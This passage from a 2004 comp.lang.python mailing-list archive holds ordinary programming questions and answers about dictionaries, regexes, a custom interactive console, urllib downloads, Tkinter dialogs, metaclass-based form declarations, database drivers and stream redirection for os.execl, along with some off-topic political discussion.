is f > 1 > > > > From danperl at rogers.com Tue Sep 28 12:21:44 2004 From: danperl at rogers.com (Dan Perl) Date: Tue, 28 Sep 2004 12:21:44 -0400 Subject: Problem with a dictionary program.... References: <415966e1$0$23075$ba624c82@nntp05.dk.telia.net> <2rt8rsF1ej1qmU1@uni-berlin.de> <415976d1$0$23090$ba624c82@nntp05.dk.telia.net> <10liubfprlt4g9d@corp.supernews.com> <41597d62$0$23054$ba624c82@nntp05.dk.telia.net> <1gku3wn.1o7mvyb1gtif84N%aleaxit@yahoo.com> Message-ID: "Alex Martelli" wrote in message news:1gku3wn.1o7mvyb1gtif84N%aleaxit at yahoo.com... > Ling Lee wrote: > ... >> List = >> {1:"one",2:"two",3:"three",4:"four",5:"five",6:"six",7:"seven",8:"eight",9 >> :"nine"} > > You're missing 0, so an input such as 103 would give an error even if > all the rest of your code was correct. Here's another idea: use a (real) list instead of a dictionary: List = ["zero","one","two","three","four","five","six","seven","eight","nine"] Then you have to convert the 'character' variable with int(character) before indexing in List. Now, this would not help you in learning dictionaries, but it must be a good lesson for something. ;-) >> output = [] >> for character in indput: >> output.append(List[character]) >> print ', '.join(output) > > This will print N times when you have N digits... outdent the print > statement so it's executed after the 'for' and not inside it. That print statement is actually wrong in many ways. It was probably meant to be something like print ','.join(List[int(character)]) # List[int(character)], not output but even that would start with ',' and it would be on multiple lines (probably not your intention). Alex is right. You're better off with an unindented print output although that would have square brackets around the output list. Or try an indented print List[int(character)], which would just not have the commas between the numbers From jmlai at uci.edu Fri Sep 10 03:03:44 2004 From: jmlai at uci.edu (Jason Lai) Date: Fri, 10 Sep 2004 00:03:44 -0700 Subject: Akward code using multiple regexp searches In-Reply-To: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> References: <6aa0d.20922$2s.12692@twister.nyroc.rr.com> Message-ID: Topher Cawlfield wrote: > Hi, > > I'm relatively new to Python, and I already love it even after several > years of writing Perl. But a few times already I've found myself > writing the following bit of awkward code when parsing text files. Can > anyone suggest a more elegant solution? > > rexp1 = re.compile(r'blah(dee)blah') > rexp2 = re.compile(r'hum(dum)') > for line in inFile: > reslt = rexp1.search(line) > if reslt: > something = reslt.group(1) > else: > reslt = rexp2.search(line) > if reslt: > somethingElse = reslt.group(1) > > I'm getting more and more nested if statements, which gets ugly and very > hard to follow after the fourth or fifth regexp search. > > Equivalent Perl code is more compact but more importantly seems to > communicate the process of searching for multiple regular expressions > more clearly: > > while () { > if (/blah(dee)blah/) { > $something = $1; > } elsif (/hum(dum)/) { > $somethingElse = $1; > } > } > > I'm a little bit worried about doing the following in Python, since I'm > not sure if the compiler is smart enough to avoid doing each regexp > search twice: > > for line in inFile: > if rexp1.search(line) > something = rexp1.search(line).group(1) > elif rexp2.search(line): > somethingElse = rexp2.search(line).group(1) > > In many cases I am worried about efficiency as these scripts parse a > couple GB of text! > > Does anyone have a suggestion for cleaning up this commonplace Python > code construction? > > Thanks, > Topher Cawlfield Does it have to be stored in a different variable? If you have a list of regexs and you want to see if any of them match, you could create a compound regex such as "blah(dee)blah|hum(dum)" and search for that (although you have to be careful about overlaps.) - Jason Lai From __peter__ at web.de Tue Sep 21 02:54:43 2004 From: __peter__ at web.de (Peter Otten) Date: Tue, 21 Sep 2004 08:54:43 +0200 Subject: namespace/dictionary quandry References: Message-ID: Jack Carter wrote: > Basically this is to go into a tool that accepts > commandline arguments, one at a time, but will also > allow scripting for testing purposes. Thus the desire > to leverage off python for the commandline interface, > but not for the whole program. > > The input from the user will be either from the console or > read from a command file. A simple example of what could > be entered is: > > bosco=5 > if 1: > print bosco > attach bosco 9 > bosco=7 > print bosco > attach bosco 9 > > The result I would expect would be for my DoAttach() > routine to receive the python evaluated value of each > of the arguments leaving the ones that it doesn't understand > alone. Whether this happens automagically or by hand I don't > care as long as I get what right value. > > In the above trying to follow your advice, remembering that > at this stage of the game I am probably missing the point, this > is the result I expect: > > johmar % demo.py >>>> bosco=5 >>>> if 1: > ... print bosco > ... attach bosco 9 > ... bosco=7 > ... print bosco > ... attach bosco 9 > ... > 5 > DoAttach: [5, 9] > 7 > DoAttach: [7, 9] > > This is what I get: > > johmar % demo.py >>>> bosco=5 >>>> if 1: > ... print bosco > ... attach bosco 9 > ... bosco=7 > ... print bosco > ... attach bosco 9 > ... > 5 > DoAttach: ['bosco', '9'] > 7 > DoAttach: ['bosco', '9'] > > Now I realize that this is probably due to the fact that > I have the lines: > > if white_spaces: > line = front_padding + "myparse." + function + "(" + > str(args) + ")" > else : > line = "myparse." + function + "(" + str(args) + ")" > > which put make the arguments strings, but that is because I don't > know how to appropriately pack the "line" for later parsing. Maybe > that is the crux of my problem. Remember, there will be many commands > for my tool and the arguments will be variable length and this code > will not know what variables the gentle use would use. > > Here is the simplified code with hopefully the tabs expanded > base on your earlier input. Hopefully you'll see the obvious > error of my way and point it out. > > Thanks ever so much, > > Jack > > ********************************** > demo.py > ********************************** > #!/usr/bin/env python > > import myparse > > cli = myparse.CLI(globals()) > cli.interact() > > ********************************** > myparse.py > ********************************** > import code > import re > import string > import sys > > ################################################################################ > # > # DoAttach > # > # Dummy function that I will eventually use to do > # real stuff. > # > ################################################################################ > def DoAttach(args): > > print "DoAttach:", args > pass > > > class CLI(code.InteractiveConsole): > """Simple test of a Python interpreter augmented with custom > commands.""" > > commands = { \ > "attach" : "DoAttach" > } > > def __init__(self, locals = None): > > # Call super-class initializer > code.InteractiveConsole.__init__(self, locals, "") > > # Compile regular expression for finding commmands > self.regexp = re.compile('[a-z]*') > > > ################################################################## > # > # interact > # > # This will read and process input lines from within > # my main application as though on a python commandline. > # > ################################################################## > def interact(self): > > # Set the primary and secondary prompts > sys.ps1 = ">>> " > sys.ps2 = "... " > > # Input Loop > is_more = 0 > bosco = 0 > while 1: > try : > # Display the appropriate prompt > if not sys.stdin.isatty(): > prompt = "" > elif is_more: > prompt = sys.ps2 > else: > prompt = sys.ps1 > > # Read the next line of input > #self.write("interact 1\n") > line = self.raw_input(prompt) > > # TODO: add logging of input line here... > > # Process complete lines > if 1: > line = self.process(line) > > # Push incomplete lines onto input stack > if line or is_more: > is_more = self.push(line) > > # Handle CTRL-C > except KeyboardInterrupt: > self.write("\nKeyboardInterrupt\n") > is_more = 0 > self.resetbuffer() > > # Handle CTRL-D > except EOFError: > self.write("\n") > is_more = 0 > self.resetbuffer() > raise SystemExit > > ################################################################## > # > # process > # > # This will determine if the input command is either > # from my application's command language or a python > # construct. > # > ################################################################## > def process(parent, line): > > # Attempt to match line against our command regular expression > > temp_line = string.lstrip(line) > len_1 = len(line) > len_2 = len(temp_line) > > white_spaces = len_1-len_2 > if white_spaces: > front_padding = line[0:white_spaces] > > match = parent.regexp.match(temp_line) > if match is not None: > > #parent.write("process 1\n") > # Extract the command and argument strings > cmd_string = match.group() > arg_string = string.lstrip(temp_line[match.end():]) > > # Find the function for this command in the command dictionary > function = parent.commands.get(cmd_string) > > if function is not None: > > # Split argument string into individual arguments > args = string.split(arg_string) > > # Convert to Python function-call syntax for this command > if white_spaces: > line = front_padding + "myparse." + function + "(" + > str(args) + ")" > else : > line = "myparse." + function + "(" + str(args) + ")" > # let's add some feedback print "fed to the snake:", line > # Return the line to be processed by Python > return line Now >>> bosco = 1 fed to the snake: bosco = 1 >>> attach bosco 2 fed to the snake: myparse.DoAttach(['bosco', '2']) DoAttach: ['bosco', '2'] >>> You build a function call myparse.DoAttach(['bosco', '2']) But what you need would rather be myparse.DoAttach([bosco, 2]) To achieve that you have to somehow extract (Python-compatible) expressions for the arguments given in the line attach bosco 2 which can be arbitrarily complex depending on how you defined your custom language. Assumming that you use the simplest possible spec, a space-separated list of already Python-compatible expressions that gives you def parseArgs(args): return args.split() def makePythonCall(func, args): return "%s([%s])" % (func, ", ".join(args)) and the process() method will become: def process(parent, line): # Attempt to match line against our command regular expression temp_line = string.lstrip(line) len_1 = len(line) len_2 = len(temp_line) white_spaces = len_1-len_2 if white_spaces: front_padding = line[0:white_spaces] match = parent.regexp.match(temp_line) if match is not None: #parent.write("process 1\n") # Extract the command and argument strings cmd_string = match.group() arg_string = string.lstrip(temp_line[match.end():]) # Find the function for this command in the command dictionary function = parent.commands.get(cmd_string) if function is not None: args = parseArgs(arg_string) line = makePythonCall("myparse." + function, args) if white_spaces: line = front_padding + line print "fed to the snake:", line # Return the line to be processed by Python return line Testing it: >>> bosco = 1 fed to the snake: bosco = 1 >>> attach bosco 2 fed to the snake: myparse.DoAttach([bosco, 2]) DoAttach: [1, 2] >>> if 1: fed to the snake: if 1: ... attach bosco fed to the snake: myparse.DoAttach([bosco]) ... bosco = 3 fed to the snake: bosco = 3 ... attach bosco fed to the snake: myparse.DoAttach([bosco]) ... fed to the snake: DoAttach: [1] DoAttach: [3] Works here, but is not very robust: >>> attach = 99 fed to the snake: myparse.DoAttach([=, 99]) File "", line 1 myparse.DoAttach([=, 99]) ^ SyntaxError: invalid syntax >>> attach(bosco) fed to the snake: myparse.DoAttach([(bosco)]) DoAttach: [3] >>> attach bosco "so what" fed to the snake: myparse.DoAttach([bosco, "so, what"]) DoAttach: [3, 'so, what'] # note the comma Peter From rm at rm.rm Thu Sep 16 22:40:10 2004 From: rm at rm.rm (Radioactive Man) Date: Fri, 17 Sep 2004 02:40:10 GMT Subject: Need script to download file at known address References: <1gk5zhe.1s52tcf7c6ucjN%aleaxit@yahoo.com> Message-ID: On Fri, 17 Sep 2004 12:08:36 +1000, Andrew Durdin wrote: >On Fri, 17 Sep 2004 01:46:42 GMT, Radioactive Man wrote: >> Here is the test script I came up with: >> >> import urllib >> f = urllib.urlopen("http://www.python.org/pics/pythonHi.gif") >> g = f.read() >> file = open("trash.gif", "w") >> file.write(g) >> file.close() > >You're opening the output file in ascii mode, so newlines characters >are getting converted to the CR/LF combination. Change the second >parameter to open() to "wb". That worked. Thanks. Looking back through the documentation, I see that open() is really an alias for file(). Are there any variants of the "open" commmand that allow location (drive and directory) of the file to be specified as well, for example, if I wanted to save the file as "D:\binaries\trash.gif" instead of the default location? If that's not possible, then the alternative might be exectuting commands from the os module to accomplish the same thing. From josephwinston at mac.com Wed Sep 8 10:12:31 2004 From: josephwinston at mac.com (Jody Winston) Date: Wed, 08 Sep 2004 14:12:31 GMT Subject: WebDAV Server References: <3v1uj0tm197ll2cnifgdkhls1pbaubbals@4ax.com> Message-ID: Rene Pijlman writes: > Jody Winston: >>I'd like to present a view of an internal data store, which has Python >>interface built using SWIG, so that my users can traverse and >>manipulate the data store using familiar tools. My first thought was >>to adapt an existing WebDAV server. > > If the data store was ZODB, you would have described Zope. We had to roll our own data store since we deal with terabytes of data. >>Of course, Zope has a WebDAV server, but I don't know if >>using Zope is overkill. > > Perhaps you can use ZServer standalone. Thanks, I'll take a look at ZServer. -- Jody Winston From jjl at pobox.com Tue Sep 28 16:55:59 2004 From: jjl at pobox.com (John J. Lee) Date: 28 Sep 2004 21:55:59 +0100 Subject: Python 2.4b1 release date? Message-ID: <87is9ykt9c.fsf@pobox.com> Anybody know when 2.4b1 is currently planned for release? I'm sure I saw somebody in python-dev mention a date, but I can't find that post now. John From deetsNOSPAM at web.de Wed Sep 15 17:09:22 2004 From: deetsNOSPAM at web.de (Diez B. Roggisch) Date: Wed, 15 Sep 2004 23:09:22 +0200 Subject: Python Oddity - print a reserved name References: <6f402501.0409150404.75292b5a@posting.google.com> <6f402501.0409151157.56b8d517@posting.google.com> Message-ID: Michael Foord wrote: > Right - but although 'print' is a reserved word there is no *need* for > object.print to be reserved.. and as Alex has pointed out that could > actually be damned inconvenient.......... I tried to explain my views on that before: http://groups.google.com/groups?hl=en&lr=&ie=UTF-8&c2coff=1&threadm=cacto9%24ql8%2403%241%40news.t-online.com&rnum=4&prev=/groups%3Fq%3Ddiez%2Broggisch%2Bfoo%26hl%3Den%26lr%3D%26ie%3DUTF-8%26c2coff%3D1%26selm%3Dcacto9%2524ql8%252403%25241%2540news.t-online.com%26rnum%3D4 The key issue is, that while >>> def foo(): >>> pass >>> print foo is ok, >>> def print(): pass fails here, but if not >>> print print can't possibly made working without unclear context-driven hacks. And if on "normal" function level this can't be allowed, IMHO for the sake of consistency class methods should also not allow that - because then the different behaviour causes confusion... -- Regards, Diez B. Roggisch From in.aqua.scribis at nl.invalid Tue Sep 7 18:44:57 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Wed, 8 Sep 2004 00:44:57 +0200 Subject: unexplained behavior of tkMessageBox.askyesno (2) Message-ID: Here is a minimal example that produces the strange results: #### begin code #### #!/usr/bin/env python from Tkinter import * import tkFileDialog import tkMessageBox def openFile(): r = tkFileDialog.askopenfilename(filetypes=(("some","*.ini"), ("all","*"))) print 'openFile():', type(r), r def askYesNo(): r = tkMessageBox._show('yes/no', "Do or don't?", 'question', 'yesno') print 'askYesNo():', type(r), r root = Tk() top = Menu(root) root.config(menu=top) mFile = Menu(top) mFile.add_command(label='Open...', command=openFile) mFile.add_command(label='YesNo', command=askYesNo) mFile.add_command(label='Quit', command=root.quit) top.add_cascade(label='File', menu=mFile, underline=0) root.mainloop() #### end code #### In the code above, I unpacked the original function tkMessageBox.askyesno(), which looks like this: def askyesno(title=None, message=None, **options): "Ask a question; return true if the answer is yes" s = _show(title, message, QUESTION, YESNO, **options) return s == YES A session on a machine that goes fine: askYesNo(): yes askYesNo(): no openFile(): # selected 'cancel' openFile(): /home/peter/leven/L04/pyL04/Project.ini askYesNo(): yes askYesNo(): no And here on another machine were things don't go as they should: askYesNo(): yes askYesNo(): no openFile(): # selected 'cancel' openFile(): /users3/kleiweg/pyL04/Project.ini askYesNo(): True # causes problems, because True != 'yes' askYesNo(): no Both are Linux machines running Python 2.3.4 The machine with problems has tcl/tk 8.4 The other machine has tcl/tk 8.3 Is this a bug I should report? Is it a bug in Python, or in tk? -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From apardon at forel.vub.ac.be Mon Sep 6 02:46:39 2004 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Sep 2004 06:46:39 GMT Subject: allowing braces around suites References: <1r3c28g6o9.fsf@rovereto.ifi.uio.no> Message-ID: Op 2004-09-03, Ville Vainio schreef : >>>>>> "Anton" == Antoon Pardon writes: > > > [about block end markers] > > Anton> But a lot of things are not necessary but ended up in > Anton> python because they were thought to be usefull. So that > Anton> this is not necessary can hardly be a strong point against > Anton> it. > > None of the useful stuff that has been added is redundant. At least I > don't remember any addition that could be left away, and the code > would run exactly the same. That doesn't mean the addition was necessary. Necessary means that you needed the addition to express something. That was often not the case. If could have made expressing things easier, but that doesn't make the addition necessary. > Anton> Explicit is better than implicit is one that comes to mind. > Anton> If python wouldn't do anything implicit then python would > Anton> be a whole different language and IMO would probably be far > Anton> less usefull. > > End markers are not any more explicit than using just the white space > for blocks. Yes they are. White space is in general ignored. a+b is the same as a + b. There are also circumstances where it becomes hard to see whether a certain dedention was 3 or 4 levels. That makes dedenting an implicit way of marking the end of a suite. > Besides, this discussion is rather pointless because Python already > supports blck end markers. See pindent.py in your Python distribution > or at: No Python doesn't support end markers. That you can use an idiom of comments to help the humean reader in distinghuishing the end of a block is not the same as the language supporting end markes. -- Antoon Pardon From spam at nimblegen.com Fri Sep 10 09:56:51 2004 From: spam at nimblegen.com (Chuck Dillon) Date: Fri, 10 Sep 2004 08:56:51 -0500 Subject: Xah Lee's Unixism In-Reply-To: References: <4139561C.F52D4E4@yahoo.com> <10srj09tdkvim71i677g7eh7b2nk1qkmfm@4ax.com> <413f03cc$0$6914$61fed72c@news.rcn.com> <413F43AC.9D2088AF@yahoo.com> <10juvnrt88k4868@corp.supernews.com> <414069c6$0$6912$61fed72c@news.rcn.com> <2ql1k0t2cgjbmgp34ir47sv5u9ifv5tmem@4ax.com> Message-ID: John Thingstad wrote: > On Thu, 09 Sep 2004 15:36:29 -0700, Alan Balmer wrote: > >> >> BTW, did you mean "extortion"? Distortion is what we see a lot of >> here, though Hoover may have done some of that too. >> > > I guess what I see are endless possibilities of abuse. > No government can be trusted with that type of power. > I feel it is our responsibility as programmers to prevent this type > of abuse of information. IMHO, it is unrealistic/naive to expect society to get all of the benefits of an integrated digital world and at the same time have significant protection of the information that world thrives upon. Everybody and their uncle is walking around in public having "private" conversations on their wireless gadget without realizing that privacy doesn't apply to what they are doing. The data systems are really no different, the risk is just less obvious. > I'd rather take my chances with the terrorists. And at the same time groups like the 9/11 families are clamoring for answers as to why the government didn't prevent the attack. If you believe what you say I suggest you work to wean your fellow citizens from their government centric lives. > When you sell out freedom, liberty and justice then what exactly are we > fighting to protect? > Bader-Meihof groups philosophy was that in order to protect the public > from terror > the government would turn the country into a police state. Then the > people would rebel and > support the revolution. From this point of view Bush is letting the > terrorist's win by > sacrificing our constitutional rights. Your argument is shallow if you direct it to the person who happens to be holding the office of President at the moment. The President can't introduce or pass law. The Patriot Act is a nearly bipartisan law of the land passed by the congress. If you have a problem with the government then address the government realistically. Otherwise it's just part of the political noise of an election year. -- ced -- Chuck Dillon Senior Software Engineer NimbleGen Systems Inc. From roo at try-removing-this.darkboong.demon.co.uk Fri Sep 3 09:31:13 2004 From: roo at try-removing-this.darkboong.demon.co.uk (Rupert Pigott) Date: Fri, 03 Sep 2004 14:31:13 +0100 Subject: Xah Lee's Unixism In-Reply-To: References: <41337FC9.8070902@hotmail.com> <%T%Yc.29567$Es2.11957889@news4.srv.hcvlny.cv.net> <2mmdj0t6mjgif88en11skbo3n8uiuj46nc@4ax.com> <41376DCA.B833324A@yahoo.com> <41385f7f$0$19713$61fed72c@news.rcn.com> Message-ID: <1094218274.956034@teapot.planet.gong> Espen Vestre wrote: > jmfbahciv at aol.com writes: > > >>V3? I thought V4 was their last good one before they started to >>put apps into execmode. > > > 3.51 was the last good one. Amen to that. 4.0 introduced lots of New! Features! From carribeiro at gmail.com Tue Sep 28 17:28:45 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 28 Sep 2004 18:28:45 -0300 Subject: Metaclass with name overloading. In-Reply-To: References: <1gktv1h.lew418131v342N%aleaxit@yahoo.com> Message-ID: <864d3709040928142830d678c9@mail.gmail.com> On 28 Sep 2004 21:07:27 GMT, Bengt Richter wrote: > On Tue, 28 Sep 2004 14:37:31 +0200, aleaxit at yahoo.com (Alex Martelli) wrote: > [...] > > > >At this point, your templating is not declarative -- it's imperative. > >Like everything in Python, btw -- not ONE 'declarative' in sight (except > >the 'global' statement, which is part of what makes it a wart;-). > > Hm ;-) Is a module source a declaration of (imperative) intent, passive until imported? > ISTM we are getting into shades of semantics. Interesting though ;-) > For a language that plays well both ways, I would try scheme or lisp, I think. I was just about to reply to Alex, but managed to stop my fingers. It's indeed a fine line, and I'm not enough of an academicist to discuss it with all detail it deserves. We could go on weeks debating it here (and I'm afraid we do). Broadly speaking, my take is as follows: Class definitions are executed (imperative), but are normally used to store definitions (that's declarative, in a broad sense). I think that's exactly what has attracted me to this kind of 'hack'. The ability to write intelligent, complex, hierarchic data structures seamlessly intermingled with code. Templating languages or XML fall short in this respect. If you really want to *integrate* them both -- and I'm not talking about simply reading static resource files here -- either you have a cross beast that is data based but has some imperative statements interspersed with a clumsy syntax, or you have source code filled with unneeded clutter to manage the data manipulation part, in a rather obstrusive way to the logic of the system. (XML based systems use complex parsers to work with the data. It's not possible, in most cases, to include enough intelligence in the data stream itself for it to instruct the parser to do something "different" -- unless you care to define your own language to do it, and that's clumsy, at best, given XML "great" readability). -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From elbertlev at hotmail.com Thu Sep 30 11:56:33 2004 From: elbertlev at hotmail.com (Elbert Lev) Date: 30 Sep 2004 08:56:33 -0700 Subject: python connection to mssql from windows box References: Message-ID: <9418be08.0409300756.114ff6@posting.google.com> Josh Close wrote in message news:... > Is there a python module that uses the mssql client tools to connect > to mssql? When you install php on windows and you want mssql > connectivity, you need the client tools and it uses that api to > connect. > > I know there is an ADO connection for postgres to connect from > windows, but that's different. Is there anything like this for python? > > -Josh You may use ODBC or ADO (). ODBC comes with win32 extensions and is seamlessly integrated with dbi (1) . So when you write your script, besides of opening the connection there is no real difference what kind of relational database is used. ADO supports dbi-2.0. Good luck From juliagoolia at eml.cc Sun Sep 26 23:39:40 2004 From: juliagoolia at eml.cc (julia) Date: 26 Sep 2004 20:39:40 -0700 Subject: SWIG generated... TypeError Message-ID: Hi, I'm using a library in python which was generated by SWIG. Basically, there is a struct in the C code, but I'm not sure what it is equivalent to in the python code. I want to pass a pointer to some data as an argument to a function like so: comedi_data_read(it,subdev,chan,range,aref,data) but get this error Traceback (most recent call last): File "test_comedi2.py", line 14, in ? comedi_data_read(it,subdev,chan,range,aref, data) TypeError: Type error. Expected _p_lsampl_t So I'm wondering if anyone knows where stucts go in SWIG and how to alloc one in python? Thanks! julia From MAILsweeper at Shannon-Dev.IE Mon Sep 13 03:43:16 2004 From: MAILsweeper at Shannon-Dev.IE (MAILsweeper at Shannon-Dev.IE) Date: Mon, 13 Sep 2004 09:43:16 +0160 (BST) Subject: Unpermitted component in Mail to Shannon Development Message-ID: <20040913084322.59D551E4007@bag.python.org> To: python-list at python.org Subject: Delivery Failure (harmonj at shannon-dev.ie) Your message has not been delivered as it contains a potentially hamfull component ( eg an ASP script, an executable or some other potential component ) From jbellis at gmail.com Tue Sep 21 23:58:14 2004 From: jbellis at gmail.com (Jonathan Ellis) Date: 21 Sep 2004 20:58:14 -0700 Subject: python ides In-Reply-To: References: Message-ID: <1095825494.429495.102420@h37g2000oda.googlegroups.com> Chris S. wrote: > kevin wrote: > > > just try it, =) > > > > http://wingware.com/downloads > > Aside from being proprietary, how is WingIDE different from SPE > (spe.pycs.net)? > > > full callback tip > > SPE's got that. > SPE's got that. > SPE's got that. Well, Wing is butt-ugly... Oh, SPE's got that too. :) -Jonathan From irmen at -nospam-remove-this-xs4all.nl Sun Sep 12 06:52:13 2004 From: irmen at -nospam-remove-this-xs4all.nl (Irmen de Jong) Date: Sun, 12 Sep 2004 12:52:13 +0200 Subject: Postgresql - Preferred Python Library In-Reply-To: References: <4140e595$0$22790$5a62ac22@per-qv1-newsreader-01.iinet.net.au> Message-ID: <41442a5e$0$65124$e4fe514c@news.xs4all.nl> Harald Massa wrote: >>I've just started experimenting with psycopg2 >>(http://wiki.initd.org/Projects/PsycopgTwo) and it's looking good. > > > Matt, > > on my research of Python connectors to postgresql I also saw psycopg. I had > to stop further testing because no win32 binaries were available. They are! Look here: http://www.stickpeople.com/projects/python/psycopg/index.html That link is on their site http://initd.org/software/initd/psycopg .... --Irmen From ej Tue Sep 28 14:53:18 2004 From: ej (Erik Johnson) Date: Tue, 28 Sep 2004 12:53:18 -0600 Subject: execl() and inheritied streams Message-ID: <4159b1d6$1@nntp.zianet.com> Hi, I am trying to use Python to remap stdout and stderr to a log file for an exec()'ed program. The following code seems to work fine for the script itself, but my expectation was that the exec'ed program would inherit its STDIN and STDOUT and so would be printing to the log file also. Unfortunately, that is not the case: the print statements in the spawned process come back to the screen. So... I'm a little puzzled and am not finding information on how to remap the file descriptors other than to set sys.stdin, sys.stdout, sys.stderr. Here's my test: ej at sand:~/src/python> cat exec.py #! /usr/bin/python import os, sys fd = file('out.txt', 'a') sys.stdout = fd sys.stderr = fd print "about to call exec..." # end up in out.txt as expected sys.stdout.flush() # provided you do this (otherwise it won't) os.execl('print123', 'ignored') ej at sand:~/src/python> cat print123 #! /usr/bin/python import sys print "one" print "two" print "three" sys.stdout.flush() ej at sand:~/src/python> rm out.txt ej at sand:~/src/python> ./exec.py one two three ej at sand:~/src/python> cat out.txt about to call exec... ej at sand:~/src/python> So... can someone explain how to permenently change the file descriptors that get inherited or otherwise explain what I'm doing wrong? Thanks for taking the time to read my post. :) -ej From ajsiegel at optonline.com Fri Sep 24 20:29:14 2004 From: ajsiegel at optonline.com (Arthur) Date: Sat, 25 Sep 2004 00:29:14 GMT Subject: Don't let your babies grow up to be programmers (was: up with PyGUI!) References: <1095378815.31957.166.camel@devilbox.devilnet.internal> <278de0e.0409231337.1a032135@posting.google.com> Message-ID: On 23 Sep 2004 14:37:40 -0700, luismg at gmx.net (Neuruss) wrote: >I'd just like to add a comment, not to start an endless debate on U.S >economic or trade policy... >IMHO what you are experiencing in the U.S is just another sign of the >globalization process, which is bad from an american perspective, but >good from a global one. > >For too long, the industrialized countries have enjoy the power of >their competitiveness and technical inovation while, at the same time, >they have been protecting their less competitive sectors such as >agriculture and labor intensive jobs. But this situation led to a club >of rich nations isolated from a mass of third world countries, whose >primary products weren't allowed to enter the rich markets due to very >rigid policy of subsidies and trade barriers. > >But how can IBM, Microsoft, HP, and all those monsters keep on growing >without selling to the so called "emerging markets"? By trading with >Mars? >If the rich want to get richer, sooner or later they will have to even >the field, allowing others to rise from missery in order to >incorporate them to the consumption society. That's true. And generally understood. Which is perhaps why the IBMs and Microsofts tend to play an important and productive role in accomplishing just that. Enlightened self interest at work. OK. So this all sounds, big picture, like win/win developments, though with some inevitable displacement effecting some real human beings. But what I haven't been quite able to grasp is the basis for the sentiment of "Globalization" as a dirty word, with the U.S. (and its evil corporations - as if corporations were something other than an organizational structure for goal oriented human endeavor) assigned the role of the heavy. In the more extreme forms of this viewpoint, "the heavy" being a considerable understatement for the role assigned the U.S. and its evil lackey corporations. I don't think, for example, the U.S. is aggressive at all in protecting its markets with subsidies or trade barriers. If anything there is the argument that the U.S. should perhaps be doing more in protecting its markets from goods being produced overseas at artificially low costs as a result of implicit or explicit subsidies being provided in the originating country. But being generally liberal on these kinds of issues seems, at this time, to set the right leadership tone, and seems to be working - so there is generally a let-it-be attitude. The U.S. in anything but the heavy in *my* story. Is it just that I am a neo-Dadaist PolyAnna? Art From bokr at oz.net Thu Sep 30 03:29:12 2004 From: bokr at oz.net (Bengt Richter) Date: 30 Sep 2004 07:29:12 GMT Subject: constructing binary backslash-n References: <1f7befae04092919484211a3bb@mail.gmail.com> <1985B3AF-1290-11D9-9E53-000A95D49904@neosynapse.net> Message-ID: On Thu, 30 Sep 2004 00:27:17 -0400, Tim Peters wrote: [...] >The only letters that have special meaning after a backslash are: > >a b f n r t v x > Hm, why aren't they all used by repr? E.g., >>> list('\a\b\f\n\r\t\v\x00') ['\x07', '\x08', '\x0c', '\n', '\r', '\t', '\x0b', '\x00'] Regards, Bengt Richter From theller at python.net Wed Sep 22 14:04:21 2004 From: theller at python.net (Thomas Heller) Date: Wed, 22 Sep 2004 20:04:21 +0200 Subject: An attempt to use a python-based mini declarative language for form definition References: Message-ID: Carlos Ribeiro writes: > I'm doing some experiments with mini declarative languages (as > explained by David Mertz in > http://www-106.ibm.com/developerworks/library/l-cpdec.html) in Python, > with the intention to use it as the mechanism to define data entry > forms. My final goal is to have a simple approach to automatic > generation of visual interfaces. The complete framework is rather big, > so let's us focus at this specific problem. > > -- I would like to describe my data entry forms with plain Python > code. I don't want to use XML, dicts or other data-driven solution; > not because I don't like it, not because I don't know about it, only > because I want to try a different approach. > > -- This is a simple code snippet of the intended form declaration: > > class UserForm(Form): > nickname = TextBox(length=15, default="") > password = TextBox(length=10, default="", password=True) > name = TextBox(length=40, default="") > > It's actually based to some extent on Ian Bicking's sqlobject library, > that uses a similar approach to build entity definitions. But there's > a catch: the class constructor receives a dict, and has no way to tell > the original ordering of the attributes in the original class. The > field names are passed in an arbitrary ordering, due to the use of the > dict mapping. > > -- I've tried using metaclasses or other similar magic; I've read the > tutorials, tried some code, and read sqlobject own implementation. > This is not a problem for sqlobject, because the order of the columns > in the database is totally isolated from the object representation. > But in my case, it is a problem, because I need the fields to be in > the correct order in the display. > > My question is, there is any way to retrieve the class attributes in > the order they were declared? I could not find any; __setattr__ won't > work because the dict is constructed using the native dict type before > __new__ has a chance at it. Is there anything that I'm overlooking? No, there is no way. But there is a trick you can use (I've played with stuff like this, in a different context, in the past): You can use an instance variable or global in the TextBox callable, that is incremented on each call. This counter is somehow attached to the object that TextBox returns, and lets you order these objects afterwards. Makes sense? Thomas From exarkun at divmod.com Wed Sep 1 10:32:50 2004 From: exarkun at divmod.com (Jp Calderone) Date: Wed, 01 Sep 2004 10:32:50 -0400 Subject: twisted signal handler override or cleanup code In-Reply-To: References: Message-ID: <4135DD92.5020005@divmod.com> Diez B. Roggisch wrote: > Hi, > > google doesn't give me anything on this, so I have to ask: > > I've got a xmlrpc-server running using twisted. Using the cookbook-recipe > for daemonizing, it stores a file with its pid when in daemon mode. > > Now I want to remove that file when the server is shutdown - this boils down > to the twisted reactors run()-method beeing terminated. > > Unfortunately, twisted sets its on signal handlers, so killing my app > doesn't allow me to perform cleanup-code. I'm sure there are good reasons > for that, and I'm actually not interested in signals especially - but there > must be some way to install a sort of callback when the reactor gets down, > for whatever reason. > > But as I said, no docs on that. > http://twistedmatrix.com/documents/current/man/twistd-man.html http://twistedmatrix.com/documents/current/howto/application Jp From vfoley at gmail.com Tue Sep 21 14:34:26 2004 From: vfoley at gmail.com (Vincent Foley) Date: 21 Sep 2004 11:34:26 -0700 Subject: python ides References: Message-ID: <777f2eb2.0409211034.4bfe332d@posting.google.com> I wonder why no one has yet made a Smalltalk-like IDE for Python (or other languages for that matter.) I mean, I've been using Smalltalk for a few months now and I have to say that the whole environment truly kicks anything else in the balls twice with steel-plated boots. The Refactoring Browser makes it easy and fast to write code and refactor it, you can search method implementors and senders, you have a very advanced debugger, etc. Why not take the time and make something like this for Python (or port Python to either Squeak or VisualWorks)? From agriff at tin.it Wed Sep 29 02:17:13 2004 From: agriff at tin.it (Andrea Griffini) Date: Wed, 29 Sep 2004 06:17:13 GMT Subject: Python + strange == cool References: 